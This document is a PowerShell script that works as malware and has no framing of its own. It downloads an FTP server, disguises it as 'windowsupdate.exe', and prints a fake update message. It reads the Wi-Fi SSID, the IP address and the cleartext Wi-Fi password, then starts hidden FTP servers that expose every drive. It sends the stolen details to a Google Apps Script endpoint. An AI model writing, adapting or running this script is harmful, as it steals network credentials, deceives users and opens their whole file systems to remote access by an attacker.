# =========================== # CONFIG # =========================== $webAppUrl = "https://script.google.com/macros/s/AKfycbwdW38aTHmELCCs04-sHm4eL9srRd35XSwn-L-Cy6-R4OrxOV6UCvU8yL2BZ91NVFzt/exec" $basePort = 90 # =========================== # CLEANUP OLD INSTANCES # =========================== Write-Host "Stopping old windowsupdate.exe processes..." Get-Process windowsupdate -ErrorAction SilentlyContinue | Stop-Process -Force # =========================== # DOWNLOAD FTPDMIN IF NEEDED # =========================== # Username $username = $env:USERNAME $ftpdPath = "$env:USERPROFILE\windowsupdate.exe" if (-not (Test-Path $ftpdPath)) { Write-Host "Windows Update is updating..." Invoke-WebRequest -Uri "https://www.sentex.net/~mwandel/ftpdmin/ftpdmin.exe" -OutFile $ftpdPath } # =========================== # COLLECT SYSTEM INFO # =========================== # Get Wi-Fi SSID $ssid = (netsh wlan show interfaces | Select-String "SSID" | ForEach-Object { ($_ -split ":")[1].Trim() } | Select-Object -First 1) # Get IP address bound to Wi-Fi adapter only $wifiAdapter = (Get-NetAdapter | Where-Object { $_.Status -eq "Up" -and $_.Name -match "Wi-Fi" }).Name $ip = "" if ($wifiAdapter) { $ip = (Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $wifiAdapter ` | Where-Object { $_.IPAddress -notmatch "^169\." } ` | Select-Object -First 1 -ExpandProperty IPAddress) } # Wi-Fi Password (requires admin privileges) $wifiPassword = "" if ($ssid) { $wifiProfile = netsh wlan show profile name="$ssid" key=clear $wifiPassword = ($wifiProfile | Select-String "Key Content" | ForEach-Object { ($_ -split ":")[1].Trim() }) } # Drives and ports $drives = Get-PSDrive -PSProvider FileSystem | Where-Object { Test-Path $_.Root } $ports = @() $index = 0 foreach ($drive in $drives) { $port = $basePort + $index $ports += "$($drive.Root.TrimEnd('\'))->$port" Write-Host "Starting FTP server for $($drive.Root) on port $port" Start-Process -WindowStyle Hidden -FilePath "cmd.exe" -ArgumentList "/c `"$ftpdPath -p $port $($drive.Root)`"" $index++ } $portsString = ($ports -join ", ") # =========================== # SEND DATA TO GOOGLE SCRIPT # =========================== $data = @{ username = $username ip = $ip ports = $portsString ssid = $ssid wifiPassword = $wifiPassword } | ConvertTo-Json -Compress try { Invoke-RestMethod -Uri $webAppUrl -Method Post -ContentType "application/json" -Body $data Write-Host "Data sent successfully to Google Script" } catch { Write-Host "Error sending data: $_" }